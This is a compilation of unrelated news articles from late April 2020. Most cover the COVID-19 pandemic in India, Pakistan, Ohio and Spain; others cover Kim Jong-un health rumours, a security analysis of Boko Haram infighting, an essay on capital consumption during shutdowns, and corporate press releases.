Brazil-Russia-India-China-South Africa (BRICS) foreign ministers on Tuesday to discuss the fallout of the outbreak of the coronavirus pandemic. The Sars-Cov-2, which first emerged in Chinas Wuhan city late last year, has killed more than 200,000 people worldwide and infected over 3 million others, according to a tally by Johns Hopkins University. The meeting, to be held by the rotating chair Russia, will be convened via video conference. Foreign minister S Jaishankar and his Chinese counterpart Wang Yi will be among those to take part in the BRICS Foreign Ministers Extraordinary Conference on the coronavirus pandemic. Wangs presence was confirmed by Chinese foreign ministry spokesperson Geng Shuang in a statement on Monday. The statement said Wang will discuss with his counterparts the impact of the Covid-19 on international relations, concerted efforts to address global challenges, deepening BRICS cooperation and other topics. New Delhi: The Delhi government on Tuesday (April 28, 2020) launched a special website to provide information on all the COVID-19 related updates in a seamless manner. The website -- delhifightscorona.in -- has five broad sections which include containment zones, testing facilities, key locations, e-pass, press release and FAQs. The website has the locations of all the containment zones or the COVID-19 hotspots in Delhi. The locations are updated from time to time as decided by the government, a statement said. It also lists all COVID-19 Testing Centers (CTCs) set up by the Delhi government, private centres, as well as information on how to avail COVID-19 testing. A list and location of all ration shops in Delhi, temporary relief centres and hunger relief centres are also available on the website. In the "e-pass section", any person can apply for travel e-pass or e-coupon for ration through this website. The website also updates important data related to COVID-19 in Delhi, including the number of total cases, number of new cases reported on a day, number of recovered patients and the number of deaths reported on a day. Another section contains testing statistics including the number of tests done in Delhi to detect COVID-19 on a particular day, total number of negative cases, number of tests where results are pending and tests per million. Hui Xin'an, secretary of the CPC Weifang Municipal Party Committee, explained that the key projects will provide crucial facilitation as Weifang replaces old growth drivers with new ones and accelerates high-level development. The city is currently implementing epidemic prevention and control, alongside measures designed to accelerate the construction of a world-class modern city characterized by ecological awareness, openness, vitality and beauty. This requires numerous large, quality projects. Weifang will fully optimize its investment environment to provide investors with effective services and a conducive environment in the hope that a wide range of people will become confident in the development goals, and contribute to expanding investment with an increased number of projects in Weifang. With a total investment of 177.466 billion RMB, the 206 projects cover a wide range, such as high-end equipment, modern agriculture, health care, new energy and new materials, next-generation information technology, cultural tourism, modern logistics, and high-end chemical engineering. Four of the projects bring a total investment of more than 10 billion RMB and 21 total more than 2 billion RMB; there are five projects from the Fortune Global 500, five from the Top 500 Chinese Enterprises, and 22 from the categories of talents and scientific research platforms. Image Attachments Links: Link: http://asianetnews.net/view-attachment?attach-id=362688 Caption: The key Investment and Talent Attraction projects in Weifang, Shandong province SOURCE The People's Government of Weifang City North Korean state media have continued reports on leader Kim Jong-un's work in an indication that he is handling state affairs normally, Unification Minister Kim Yeon-chul said Tuesday, amid persisting speculation about the leader's health. Kim Jong-un has stayed out of public view for about two weeks since he was last seen in a political bureau meeting of the ruling Workers' Party on April 11, but North Korean media outlets have reported on his daily routine schedule, according to the minister. "North Korean media outlets have put out reports related to Chairman Kim's work since his attendance of a politburo meeting, suggesting that he has been carrying out state affairs in a normal way," he told lawmakers. North Korean state media have recently carried reports on Kim's schedule, such as sending diplomatic letters and conveying gifts to honored citizens, but they have not provided information on Kim's whereabouts or health conditions. The official Korean Central News Agency said late Monday that Kim sent a congratulatory telegram message to the South Africa president in the latest report on the leader's management of state affairs. Speculation about Kim's health has spread since he apparently skipped an annual visit to the Kumsusan Palace of the Sun on the occasion of the April 15 birthday of the late founder and his grandfather Kim Il-sung. Unconfirmed media reports have since speculated that Kim might be "in grave danger" after surgery, but South Korean officials have repeatedly disputed these claims, saying no unusual signs have been detected from North Korea. Some said that Kim appears to be staying in the eastern coastal town of Wonsan. U.S monitoring website 38 North earlier reported that commercial satellite imagery showed a train probably belonging to Kim was spotted in the region since at least April 21. (Yonhap) At least 20 die from COVID-19 in 24 hours, taking the countrys death toll to 301, according to government figures. Islamabad, Pakistan Pakistan has registered its deadliest day in terms of deaths from the coronavirus, with at least 20 people dying, taking the countrys toll to 301 deaths since the outbreak began in late February, government data shows. Cases in the South Asian nation have been spiking since last week, with 751 new infections recorded on Monday, taking the overall number of cases to 14,079, data collected by Al Jazeera shows. So far, at least 3,233 patients, or 23 percent of the overall cases, have recovered, leaving 10,545 active cases in a country where a weak health infrastructure has been at the centre of concerns regarding the rapid spread of COVID-19. In recent weeks, the government has built several makeshift hospitals, with a capacity of thousands. A police officer uses a megaphone to disperse shopkeepers gathered to reopen their shops at a closed market in Karachi [Akhtar Soomro/Reuters] Last week, however, Prime Minister Imran Khan warned that cases could spike by the middle of May, possibly overwhelming infrastructure capacity. On Monday, Khan chaired a meeting of high-level officials to discuss the governments response to the crisis, where de facto Health Minister Zafar Mirza told government leaders that the number of corona[virus] cases and [the] death rate in Pakistan is less than that of the rest of the world. Khan reiterated that his government was seeking to balance the need to save people from corona[virus] and the continuation of economic activity. In the same meeting, Industries Minister Hammad Azhar said the government would be paying electricity bills for qualifying small businesses for up to three months to support them during the crisis. Earlier this month, Khans government reopened several sectors of the economy, arguing that rising unemployment could kill more people than the virus. Cases have been rising, however, with the countrys number doubling roughly every 11 days, while the number of fatalities has doubled almost every eight days. The latest deadliest day comes a week after the previous highest number of daily deaths, 17, was recorded in the country. As it eases up on the lockdown, the government has also been attempting to tighten restrictions in certain areas. On Monday, Interior Minister Ijaz Shah advocated for greater restrictions on intercity bus travel on the weekends, stopping labourers from returning to their home villages. Also on Monday, Imran Ismail, the governor of the southern Sindh province home to the countrys largest city of Karachi said he had tested positive for COVID-19. Asad Hashim is Al Jazeeras digital correspondent in Pakistan. He tweets @AsadHashim. While most research teams have started with small clinical trials on a few hundred patients, scientists at the universitys Jenner Institute are scheduled to test their new coronavirus vaccine on more than 6,000 people by the end of May. The institute had a head start, having already proved that similar inoculations did not harm humans. If the vaccine is effective and approved by regulators, the scientists say, the first doses of it could be available by September. Details: Six rhesus macaque monkeys inoculated with the Oxford vaccine and exposed to the virus were healthy 28 days later. The exposure had consistently sickened other monkeys in the lab a promising, though not guaranteed, sign. Go deeper: Doctors in the U.S. are performing trials of estrogen as a treatment for male patients, theorizing that the hormone is helping women survive the virus. In other news: Here are the latest updates and maps of the pandemic. The Times is providing free access to much of our coronavirus coverage, and our Coronavirus Briefing newsletter like all of our newsletters is free. Please consider supporting our journalism with a subscription. ST. MARTIN, Mississippi -- One teenager is dead and another in critical condition in Mobile after a Monday morning shooting in the St. Martin community. Jackson County Sheriff Mike Ezell said deputies reported to the scene about 1:30 a.m. Monday and found 18-year-old Marcell English dead in the roadway near the intersection of Amherst Drive and Hamilton Drive. Another 18-year-old, Derrick Craft, was also shot and was transported to University of South Alabama Medical Center in critical condition. Two other teens -- 19-year-old Christian Terrin Kennedy and 16-year-old Caden Kennedy Walker -- have each been charged with aggravated assault. Walker is being charged as an adult. Ezell said the two victims met Kennedy and Walker and the shooting occurred during an altercation between the two pair. The case remains under investigation and Ezell said, after consultation with the district attorneys office, evidence will be presented to a Jackson County Grand Jury to determine whether the charges against Kennedy and Walker should be upgraded to murder. CLEVELAND, Ohio Ohio Sen. Rob Portman urged officials in Washington, D.C. to increase the number of coronavirus tests it sends to the sole federal prison in Ohio, where seven inmates have died in recent weeks. The Cincinnati Republican wrote Monday to U.S. Attorney General William Barr and Federal Bureau of Prisons Director Michael Carvajal that he had concerns that staff at the low-security Federal Correctional Institution Elkton cannot test enough inmates to properly contain the virus spread. He said the prisons bureau told his staff that it has only tested Elkton inmates showing symptoms of the virus, even though people without symptoms can have it. The prison houses 2,400 inmates at its main facility and a smaller adjacent one. The lack of sufficient COVID-19 testing at FCI Elkton is unacceptable, Portman wrote. It threatens the lives of the FCI Elkton inmates as well as Ohioans in the greater northeast Ohio region. He urged the Justice Department and prisons bureau to ensure that Elkton has enough tests. The Columbiana County prison, which is about 100 miles southeast of Cleveland, has been hit hard by the virus. The latest inmate to die from the virus was 55-year-old Richard Nesby of Akron. He passed away on Sunday. Forty-five inmates at the prison have the virus as of Tuesday, along with 48 staff members. However, mass testing at certain state prisons in Ohio have shown the virus spreads quickly among people behind bars, and officials have worried that only testing people with symptoms could result in an undercount of the virus spread among inmates and staff. U.S. District Judge James Gwin of Cleveland noted Elktons lack of testing when he issued an order last week that said the prisons bureau must work to clear out certain vulnerable inmates that could be at risk of serious illness associated with the virus. The judge noted at the time that the prison had only received a combined 80 tests and compared the response to the thousands of prisoners that Ohio has tested. The Ohio prisons virus response undercuts BOPs ability to argue that testing is either unavailable or is impossible, the judge wrote. Why has the Justice Department allocated Elkton an entirely insignificant number of tests while Ohio has been able to pull off mass testing ... at multiple institutions? The prisons bureau has identified 837 inmates that fit in to the categories Gwin laid out in his order for transfer. It is appealing the judges decision and asked Gwin on Tuesday to put a hold on his order. Portmans letter says that Elkton staff now expects to receive 100 tests a week, but that even with this increased number of tests, it would take almost six months to test the entire inmate population of FCI Elkton one time. Elkton is the current home to several high-profile offenders, including former Cuyahoga County Commissioner Jimmy Dimora and Fyre Festival fraudster Billy McFarland. Read more: Family left in dark as coronavirus turned Akron mans stint at Elkton federal prison into death sentence, daughter says Feds appeal judges order to move at-risk inmates out of Ohio federal prison ravaged by deadly coronavirus outbreak Feds to judge: Dont release Fyre Fest mogul Billy McFarland from Ohio federal prison over coronavirus concerns Federal judge orders Elkton prison officials to clear out vulnerable inmates because of coronavirus Every prisoner will be tested for coronavirus at three Ohio prisons, Gov. Mike DeWine says "They said that being almost 80, I would be a prime candidate to get the virus. Plus, I have asthma. I don't want to get sick. So, I canceled my tour dates and we've been home and isolated on our farm in New York. Sarah runs the farm. I do the watering in the greenhouse and whatever else I can. We have about 100 chickens, plus strawberries, tomatoes and honeybees. We have enough food in our freezer thanks to two cows we used to have. Their names were T-Bone and Ribeye. Being from New Orleans, I make a lot of red beans. "Our living room is now a recording studio. I have my piano plugged into the computer and I play free concerts on Sunday on Facebook. I'm drawn back, almost in a reverie in my mind, to playing the stuff I heard when I was a kid. I play spiritual music. I play doo-wop. It's what I'm connecting with the most, and it's bringing so much comfort right now. "The rest of the time I'm doing what everybody else is doing. I'm staying in. Playing solitaire sometimes. Playing dominoes. Walking out in the yard with my dog, Apache. He's a shih tzu Pomeranian. About 15 pounds, but he thinks he's 100 pounds. In the afternoons, I watch my soaps. The Young and the Restless and The Bold and the Beautiful. "We have a plethora of trees here. I call them my cathedraI. I'll sit out there and I'll pray. I pray all the time lately. I pray for my family. I pray for New Orleans. It's sad what's going on in my city. So many people sick. I feel for them. I feel for the whole world, wherever people are suffering. I pray and I sing. That's getting me through. They say he that sings prays twice. What else can you really do?" A petition has been filed in the Supreme Court seeking a uniform national scheme for granting financial assistance to lawyers across the country in the wake of nation-wide lock down amid COVID-19 crisis. The petition filed by advocate Abhinav Ramkrishna has sought directions to prepare a "uniform national level scheme" under Advocates' Welfare Fund Act 2001 to deal with the situation like corona virus pandemic. It has sought to know whether or not the decision of the various State Bar Councils to extend a paltry sum as one-time payment for loss of work and income to the lawyers for sustenance, can be termed as dignified treatment and violative of Article 21 of the Constitution. The plea alleged that the Ministry of Law & Legal Affairs, which is primarily responsible for the effective establishment of the judicial setup in the country, has remained a "mute spectator" over the trouble being faced by the lawyers and till date it has not taken any action. "Preventive measures though are necessary and also need of an hour, yet at same time the respondents cannot be expected to be in a state of deep slumber or be insensitive towards the economic and mental hardship faced by lawyers, except few upon who have achieved a milestone by dint of their hard work and acumen," the plea said. The petitioner contended that lawyers across the nation have been paying welfare amount upon filing of the vakalatnama each time they enter appearance and in the unprecedented situation like the present one, it is incumbent upon all the State Bar Councils to come clean with the amount of funds they have in the welfare account. It has also questioned the decision of Bar Councils in Delhi, Chhattisgarh, Gujarat and Kerala to provide "one-time financial assistance" to daily earning lawyers saying it will not serve the purpose of providing a dignified life to them. The plea referred to Karnataka State Bar Council decision to grant an interest free loan of Rs.10,000 to an advocate subject to availability of funds and said it was against Advocates' Welfare Fund Act. "Once an amount is said to be have been disbursed under a welfare scheme during the time national crisis, giving the same a colour of debt/loan is not only against the objective of any welfare act, but the same is like ensuing an insult upon a needy lawyer," the plea said. The petition said that since the bodies like Bar Council of India and the State Bar Councils are the creation of the statute, therefore the petition in form of PIL is maintainable. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) An employee, working at NITI Aayog building, has been tested positive for coronavirus. Consequently, the Niti Aayog headquarter has been sealed at least till Thursday. The Niti Aayog office is located in Sansad Marg Area in Delhi. "An employee working at NITI Bhavan has been detected positive with COVID-19. It was informed to the authorities at 9 am this morning. NITI Aayog is following all the due protocols necessary as per the Ministry of Health guidelines. The building has been sealed," NITI Aayog said in a tweet. Also read:Coronavirus India Live Updates: Karnataka eases lockdown, opens shops in green zones; COVID-19 cases-29,435 The government think tank said that disinfection and sanitisation of the building was underway. It added that contacts of the COVID-19 patients have been asked to go on self-quarantine. An employee working at NITI Bhavan has been detected positive with COVID-19. It was informed to the authorities at 9 am this morning. NITI Aayog is following all the due protocols necessary as per the Ministry of Health guidelines. The building has been sealed. - NITI Aayog (@NITIAayog) April 28, 2020 Ajit Kumar, Deputy Secretary (Administration), NITI Aayog told ANI news agency, "The necessary protocol is being followed, including sealing of the building for two days for thorough disinfection and sanitisation". Last week, an employee of the Civil Aviation Ministry was also tested positive for COVID-19. Thereafter, the headquarters of the aviation ministry at Rajiv Gandhi Bhawan was also sealed for at least seven days. It reopened on April 27. At present, the total number of coronavirus cases in Delhi stand at 3,108, of which 190 cases were reported yesterday. 877 patients have been cured, while 11 are on ventilators. The fatalities in Delhi stand at 54. The doubling rate of COVID-19 in Delhi is 13 days, said Delhi Health Minister Satyendra Jain. Also read:Coronavirus update: India reports 1,543 new cases, 62 deaths in 24 hours Also read:Firms file plea against Home Ministry diktat on full salaries; SC seeks govt's response Xtalks Life Science Webinars Well-characterized PDX models, with accompanying genome sequencing and gene expression data, can help researchers elucidate mechanisms of action of their lead compound. Join E. Viktoria Hyddmark, Senior Scientist, Envigo in a live webinar on Wednesday, May 13, 2020 at 11 am EDT (4 pm BST/UK). Less than 10% of investigational anti-cancer drugs successfully achieve approval for clinical use by the FDA. This is not necessarily due to the lack of activity of the compound, but is instead due to a failure to identify patients whose tumors are most likely to respond. Recent research has focused on developing new models that better recapitulate what can be seen in the clinic. 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This collection of breast cancer tumors offer investigators a powerful tool to test novel drugs in a model where the clinical history of the patient and the mutational landscape of both the parental and PDX tumor is known. For more information or to register for this event, visit Patient-Derived Xenografts: A Powerful Tool for Breast Cancer Research and Beyond. ABOUT ENVIGO Envigo provides the broadest range of research models and related services to the pharmaceutical and biotechnology industries, government, academia, and other life science organizations. As the largest organization that is solely dedicated to providing research models and related products and services, we are committed to helping researchers realize the full potential of their critical R&D projects as we fulfill our mission to work together to build a healthier and safer world. Read more at envigo.com. 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To learn more about Xtalks visit http://xtalks.com For information about hosting a webinar visit http://xtalks.com/why-host-a-webinar/ 28.04.2020 LISTEN It is not yet clear whether Boko Haram terrorists and their significant other, the Islamic State in West Africa Province (ISWAP), will survive the renewed onslaught by Nigerian, Chadian and troops of other member countries of the Multi-National Joint Task Force (MNJTF) like they have done on several occasions in the past. It will be apt to remind that these terrorist groups have been declared crushed and defeated before only to re-emerge to wreak havoc on both civil and military targets. Nevertheless, a 2018 analysis by the Chief of Military Press Information Officer, MNJTF, Col. Timothy Antigha, entitled: Counter-Insurgency: The Broader Implications Of Recent Execution Of Boko Haram Commanders gave a different picture, which still holds true today. Most of the points, Antigha marshalled out in that article have been spot on and will be a reliable guide on predicting the prevalent as well as future trajectory of the insurgents. Having stumbled on the article published in some key media platforms in October 2018, one cannot help but notice that it predicted the current internal strife plaguing Boko Haram and ISWAP as well as the fractious ideological pendulum that has swung to the detriment of the murderous groups at the moment. Here are key issues raised in the treatise. In-fighting, leadership squabbles and factionalisation When the MJTF Spokesperson penned down his article, there was pandemonium in the enclaves of Boko Haram Terrorists (ISWAP camp), particularly, in the Lake Chad Area, due to infighting in the top echelon of the terrorist command structure. This resulted in the execution of the moderate leaders like Mamman Nur in August 2018 and also, another commander, named Ali Gaga, who was assassinated in October of that year. According to sources, Mamman Nurs offence was that he effected the release of over 106 Dapchi Girls. Even though he did this without releasing the lone Christian girl among them, Leah Sharibu, yet he was killed for not maximizing the full financial and other opportunities which the kidnap of the schoolgirls offered. On the other hand, Ali Gaga was found to be plotting an escape along with over 300 Boko Haram captives and subsequent surrender to the military. Against this backdrop, the Nigerian Army Officer predicted that the then executions in Boko Haram enclave are a clear evidence of emerging crisis of confidence, symptomatic of fundamental problems within the leadership and followership structures of the Boko Haram Terrorist Group. He went ahead to list the broader implications of the executions to include factionalisation, ideological struggles, self-induced implosion, increased isolation of the terrorists and more clashes. True to these predictions, the ISWAP camp in particular has remained an ever bloody theatre for coups and counter coups including the execution of Musab Al-Barnawi the son of Boko Haram founder, Mohammed Yusuf. Even though the Abubakar Shekau led Boko Haram group seem to have more stable leadership but it still has very fractured cells only united by their acts of terrorism. The ascension of radicals, hardliners The immediate observation made by Antigha was a protracted struggle between two subgroups; the moderates and the radicals which was a direct fall out of the cannibalism reflected in the execution of the moderate commanders; Mamman Nur and Ali Gaga. Consequently, ISWAP which before 2018 had a more targeted approach to their madness was hijacked by the radicals more aligned to the Shekaus style of indiscriminate bloodletting who are not willing to negotiate with the government. Antigha noted that the hitherto maturity and calm disposition to the orderly conduct of ISWAPs operations was ditched in favour of the younger hardliners who feel their moderate style was stalling their ambitions. This has imposed devastating consequences both within their camp and on the local populace since controlling proceedings with more indiscriminate killings, kidnappings, executions and unstable leadership. Nevertheless, for the fact that these moderate leaders still have their followers who believed in their ideals and principles meant that the struggle for the control of ISWAP became even nastier and deadly that in March 2020 the HumAngle reported of a bloody coup that led to the execution of five Shura council members of ISWAP. They were reportedly killed by the groups new leader, Lawan Abubakar, also called Ba Lawan. Those killed in the coup within the terrorist camp were also said to include the former leader of the group Abu Abdullahi Umar Al Barnawi aka Ba Idrisa. It is by far the most bloody and extensive move in the history of the group to behead its leadership crop in one fell swoop, researchers and reporters on the Media and Terrorism collaborative project of Premium Times and HumAngle Media Foundation disclosed. More indiscriminate attacks, killings, kidnappings As was well noted by Antigha in 2018, the likely fallout of the recent executions could be more Boko Haram skirmishes against defence forces and of course more attacks on soft targets in the area of operation. He however, noted that the skirmishes would not be borne out of a desire by Boko Haram to gain any strategic or operational advantage; (the capacity is really not there) rather, the attacks will be driven by the need for some publicity by the radicals who have seized power in Boko Haram. This accounted for the increased and indiscriminate terrorist attacks as well as kidnappings and renewed executions between 2019 and 2020, the famous of which was the abduction and execution of Christian Association of Nigeria (CAN) Chairman in Mubi, Adamawa State chapter. The upsurge also witnessed kidnapping and executions of military personnel, aid workers, students and other vulnerable individuals. Isolation and implosion of ISWAP/Boko Haram As was also predicted, the reckless attacks by hard-line elements of ISWAP and Boko Haram terrorists have effectively closed chapters for negotiations and isolated them from possible mediators. The latest was the two-pronged attacks that killed close to 50 Nigerian soldiers and over 70 Chadian forces which forced these nations and other members of the MNJTF to embark on what looks like a decisive offensive against their remnants. It is no longer news how the Chadian troops under the command of President Idris Debby, led a successful onslaught to annihilate ISWAP fighters and bases in some of their safe havens in the Lake Chad islands. To make matters worse, the Nigerian Armed Forces with the ground troops currently commandeered by the Chief of Army Staff (COAS), Lt-Gen. Tukur Buratai, with the support of the Air Task Force of the Operation Lafiya Dole, are on the verge of finishing the terrorists from where the Chadians left off. Apart from the military losses, Boko Haram terrorists as revealed by the infighting and leadership squabbles above, are also suffering from self implosion. There is no doubt that the group has shown high degree of resilience and reinvention, but their structural flaws are being exposed by both external and internal forces staked against them that it might be difficult to recover and reorganise themselves in a foreseeable future except if the Nigerian Armed Forces eased the ongoing chokehold. Antigha had also posed some vital questions in 2018 of which the answers would be relevant at the moment. Arising from these developments, said, the pertinent questions to ask are; Is Boko Harams strategy of pillage, aggravated indiscriminate killings and mass hostage-taking becoming a liability? Is the terrorist group having difficulties rallying its commanders around this strategy? Are there prospects of an implosion within Boko Harams command echelon? In providing answers to these questions, he concluded that it does appear that the consequence of its (Boko Haram and ISWAP) one-decade campaign of terror against the very people it claims to be fighting for has come. The signs are there at every turn. Boko Harams support system among the populations has snapped under the weight of an endless and meaningless insurgency. Currently, Boko Haram must carry out raids of communities around its enclaves to obtain food and other supplies. This suggests that Boko Harams anti-people strategy has created alienation and loss of goodwill. No way out for Boko Haram and ISWAP? Cornered on all side by Maj-Gen. Ibrahim Yusuf led MNJTF, Nigerian, Chadian and Nigerien forces, is it now time to assume that Boko Haram terrorists have come to their wits end? This is increasingly looking likely despite the fact that the insurgents have developed both intricately sophisticated as well as simplified ways of survival as exemplified by Salkida Ahmads report on April 26, 2020 entitled: How Boko Haram Sustain Operations Through International Trade in Smoked Fish The report also agreed with Col. Antighas verdict with its damning conclusions, noting that a carefully woven economic network created by ISWAP may have collapsed temporarily or permanently, considering that recent military onslaught on the insurgents by Chadian forces may have disrupted the very foundations of that economy. The report by HumAngle noted that the March 23 assault under which the Chadian forces routed the positions of the insurgents in the Lake Chad communities may have put paid to the economic lifelines of the terror groups. Like Antigha had anticipated waning public support, the report also noted that a clinical and silent campaign of identifying and eliminating suspected insurgents by members of the public was gaining popularity across major Chadian towns and cities. Speaking concerning the implications of the sudden hostilities by Chadians against the insurgents, a source who is familiar with the cover that ISWAP and Boko Haram members had received in Chad, told HumAngle that it will limit the groups access to essential goods that are smuggled daily to the fighters. From all indications, the ball is now in the Court of the Nigerian Military and the supporting forces of the MNJTF to either finish of the insurgents or allow the insurgency to survive and fester to a foreseeable future. Iroegbu is a media practitioner, security and public affairs analyst. He can be reached on [email protected] The response to the virus has added a new mechanism of capital consumption to the many we have documented over the years. Businesses are shut down, yet they continue to incur expenses. There is a popular misconception out there that this is merely a paper loss. One can almost picture a neutron bomb that somehow wipes out only paper, leaving all the physical assets and plant unscathed. Its a pleasant fantasy. And its quite a popular onenot only amongst all the usual suspects, but even an Austrian school economist of our acquaintance asserted it. As an aside, this illustrates that, too often, economists are unfamiliar with business. The economist looks at a closed restaurant and thinks theres no reason why this restaurant cant be mothballed for a day, a week, a month, or a year. The owner of the restaurant would object that hes still paying certain expenses, even if hes laid off all of his staff. And the economist retorts, Thats just paper! The economistand politiciansare tempted to think that the government and its central bank can restore the lost paper capital by extending a loan, or even doling out free money. This is simply not true. One thing should be bloody clear: whatever expenses this restaurant pays, is a transfer of real resources from the restaurant to the recipients. Those recipients are buying food, fuel, clothing, shelter, etc. Its not just paper. Looking deeper into the restaurant, we see that, even when its closed, its still burning some electricity (even if not as much as when its operating). Theres insurance premiums. And building maintenance. Over time, exposure to sun, wind, rain, and snow damages the roof, windows, and even the walls. In extremes of summer and winter, even unoccupied buildings must run the air conditioning and heating. So, its burning still more electricity and gas. Plus, these mechanical systems wear out and must be maintained and replaced. The hardscape, such as parking lot and sidewalks, also must be maintained. And, even the landscape. The above assumes that all the employees are furloughed or laid off (otherwise, there would be much bigger expenses for payroll). But this leads to another form of capital destruction. Hiring a team takes time and money. Training a team takes time and money. To see this, think of what you would need to do to open a restaurant. For how much time would you be paying rent while you searched for a chef and general manager? Once you put them on your payroll, how much time would they need to find the rest of the staff and teach them to work as a team? Keep in mind that on opening day the food has to be good, delivered quickly, and served with grace. Diners do not give bad restaurants a second chance. There is real capital invested in a functional team. If the people leave, then this investment is wiped out. Moving from a restaurant to a shopping mall, there are a number of additional expenses that the restaurant does not have. The obvious one is on-site security personnel. A shopping mall would be a tempting target if left totally abandoned. Air conditioning is much more significant in a large commercial property than in a stand-alone, small restaurant. As is maintenance of the many mechanical systems. Airlines have come to the publics attention because they asked for tens of billions of dollars of bailout. We have read that the bailout came with an insane string attached: that the airlines must continue to fly the same routes as before, despite massive drop in passengers. This, of course, means slowly wearing out the planes and paying for expensive maintenance along the way. Even leaving this aside, any operator of large, complex machines faces the same dilemma. If the machines are continued in operation, they burn energy and consumables and slowly wear out. If they are shut down, the subsequent restart can be both expensive and very hard on the machines. An airline has a much more severe case of the dilemma of laying off staff. Airlines employ many skilled specialists, such as pilots and mechanics. The challenge of hiring new ones when business resumes is much greater than for a restaurant. An airline is a much larger enterprise than a restaurant and, consequently, a much more complicated operation. The know-how embedded in its human resources is exponentially greater than that in the cooks and servers in a restaurant. Its also tempting and pleasant to think that one can stop and start an economy. We suppose that people are thinking that the economy is like a music playeryou just hit the pause button and, whenever ready, hit the play button again to resume. A better analogy is to a living organism. You cannot stop the heartbeat of an animal and restart it a day, a week, a month, or a year later. The reason why this analogy is more applicable is because an economy consists of innumerable people, things, and processes that are in constant motion: flow. If you stop those people, things, and processesif you shut off the flowrestarting it requires a whole new investment and great effort. The common thread that runs through the above discussion is that, even when put on mothballs, much less when it is restarted, a business is consuming real resources. There is one last principle to keep in mind. In order to consume, one must first produce. This means, if one is consuming in the present but not producing in the present, then what one is consuming is what was produced in the past. That means capital. Seed corn. Every closed business is consuming capital. If the business runs out of its own, then it must either shut down entirely or be given capital that is looted from another business that has not depleted its own capital, yet. In this light, we now say that the panic response to the virus adds a whole new and very large driver of capital consumption to all the other drivers of our monetary system. And then, to compensate for that wave of capital consumption, they offer subsidies to enable yet more consumption of capital. We are reminded of an old Febreze commercial. The announcer describes conventional air fresheners as just covering odors, in a witty way: Now your house smells like fish and flowers! Now, you have subsidized capital-consuming businesses and consumption of the capital of businesses that are miraculously still operating in this environment. "Now more than ever, our young people need attention, affection and resources," said Beth Fehrenbacher, senior brand manager for the Hormel Natural Choice brand. "The Birthday Party Project and its network of emergency housing partner agencies are exemplary in their efforts to serve their communities. We're honored to lend a hand." The Hormel Foods brand joined forces with The Birthday Party Project in early 2020, announcing a four-city tour that began in Dallas. But the outbreak of COVID-19 in the United States put the tour on hold, and the nonprofit organization amended its operation to accommodate social distancing and shelter-in-place guidelines. As The Birthday Party Project shifted to virtual celebrations, the Natural Choice brand team doubled down on its commitment to help The Birthday Party Project continue to bring joy to children in any way possible, including an additional monetary donation for the organization to purchase equipment and supplies that students need to finish out this school year. "Joy is our mission, and we will keep spreading joy through the magic of birthdays!" said Kimberly Nielsen, director of operations at The Birthday Party Project. "With so much uncertainty it's even more important to celebrate and bring joy. We are prepared for today and planning for the future." Upping its support of The Birthday Party Project was an "easy decision," Fehrenbacher said. She and her team were onsite for the first collaborative event in Dallas, where noted blogger Lunchbox Dad led an evening of food and fun at Promise House, an emergency shelter for teenagers. "While our support for this organization began in more traditional ways like supplying food, volunteers and monetary donations for the in-person events, the COVID-19 pandemic has necessitated that we find new ways to stay connected with our charitable partners," she said. "For The Birthday Party Project, this means providing critical resources to ensure that at-risk youth are still being celebrated and getting the attention they deserve." According to Fehrenbacher, at the heart of the Good Feeds Us All Tour is a desire to show consumers what the brand stands for, metaphorically speaking. "We want consumers to see that we care," she said. "The tour is about finding opportunities where sandwiches can connect people and be the catalyst to allow those connections to take place. This isn't about us coming in to save the day. It's about giving those who are already doing it a platform to share their stories." About The Birthday Party Project The Birthday Party Project brings joy to children experiencing homelessness through the magic of birthdays. With the support of birthday enthusiasts, aka volunteers, the non-profit organization partners with homeless shelters to throw monthly birthday parties for children. Founder and CEO, Paige Chenault founded The Birthday Party Project in 2012 with the hope of celebrating all children living in shelters and transitional living facilities. Since its inception, The Birthday Party Project has celebrated over 11,500 birthdays with over 62,200 children in attendance and over 24,500 birthday enthusiasts volunteering. The Birthday Party Project receives monetary donations, party supplies and engages the community through a program called "Share Your Birthday." All donations go directly to throwing, hosting and executing the birthday parties. For more information, visit www.thebirthdaypartyproject.org. ABOUT HORMEL FOODS INSPIRED PEOPLE. INSPIRED FOOD. Hormel Foods Corporation, based in Austin, Minn., is a global branded food company with over $9 billion in annual revenue across more than 80 countries worldwide. Its brands include SKIPPY, SPAM, Hormel Natural Choice, Applegate, Justin's, Wholly, Hormel Black Label, Columbus and more than 30 other beloved brands. The company is a member of the S&P 500 Index and the S&P 500 Dividend Aristocrats, was named on the "Global 2000 World's Best Employers" list by Forbes magazine for three straight years, is one of Fortune magazine's most admired companies, has appeared on Corporate Responsibility Magazine's "The 100 Best Corporate Citizens" list for the 11th year in a row, and has received numerous other awards and accolades for its corporate responsibility and community service efforts. The company lives by its purpose statement Inspired People. Inspired Food. to bring some of the world's most trusted and iconic brands to tables across the globe. For more information, visit www.hormelfoods.com and http://csr.hormelfoods.com/. SOURCE Hormel Foods Corporation Related Links https://www.hormelfoods.com The first trips out onto the street by children in Spain are being used by the Health Ministry to study the relaxation of coronavirus confinement measures for the rest of the countrys population, something that will begin on Saturday if there is no uptick in the epidemic this week. At a meeting on Monday with regional health chiefs, Health Minister Salvador Illa requested proposals for the new rules, one of which being considered by the government is the setting out of timetables in order to avoid crowds. According to sources from the regional governments, the minister did not confirm any specific measures on Monday, but rather just asked for opinions on how trips outside should be regulated and requested information about the experiences of each region with the first relaxation of the quarantine, which saw children allowed out on Sunday for the first time since March 14 with one of their parents, for one hour, and within a one-kilometer radius of their home. A ministerial order will set out how the rest of the population will be able to go out onto the street, and whether timetables will be necessary, as well as the time and distance limits that will be applied. A ministerial order will set out how the rest of the population will be able to go out onto the street, and whether timetables will be necessary Antoni Trilla, an epidemiologist and member of the scientific team that is advising the government, explained to EL PAIS that for now, and with all necessary prudence, the same precautions that apply to minors will be in place. Especially in terms of safety distance, and a limit to duration and distance from the home, similar to that for children. Reduced mobility and contact eliminated, he says. Jose Martinez Olmos, a professor from the Andalusian Public School of Health, believes that establishing timetables could be a good idea. For me, it is key for parents to be able to take the children out and not grandparents, which implies that the timetable for children should be compatible with that, he says. Some of the regions that have proposed this time limit include the Canary Islands and Andalusia. The latter regions government believes that the ideal time to avoid contagion would be for seniors to go out for walks in the morning from 9am to 2pm and for children to go out in the afternoon, from 4pm to 9pm. The virus is here to stay and we have to avoid contact between those who are at greater risk, seniors and children, who can be vectors for the disease, said the health chief in Andalusia, Jesus Aguirre. As well as the ministerial order that will lift some of the confinement measures, which is due to arrive in the coming days, the Cabinet will today debate and propose the deescalation plan, which will go further than just sporadic trips out of the house. 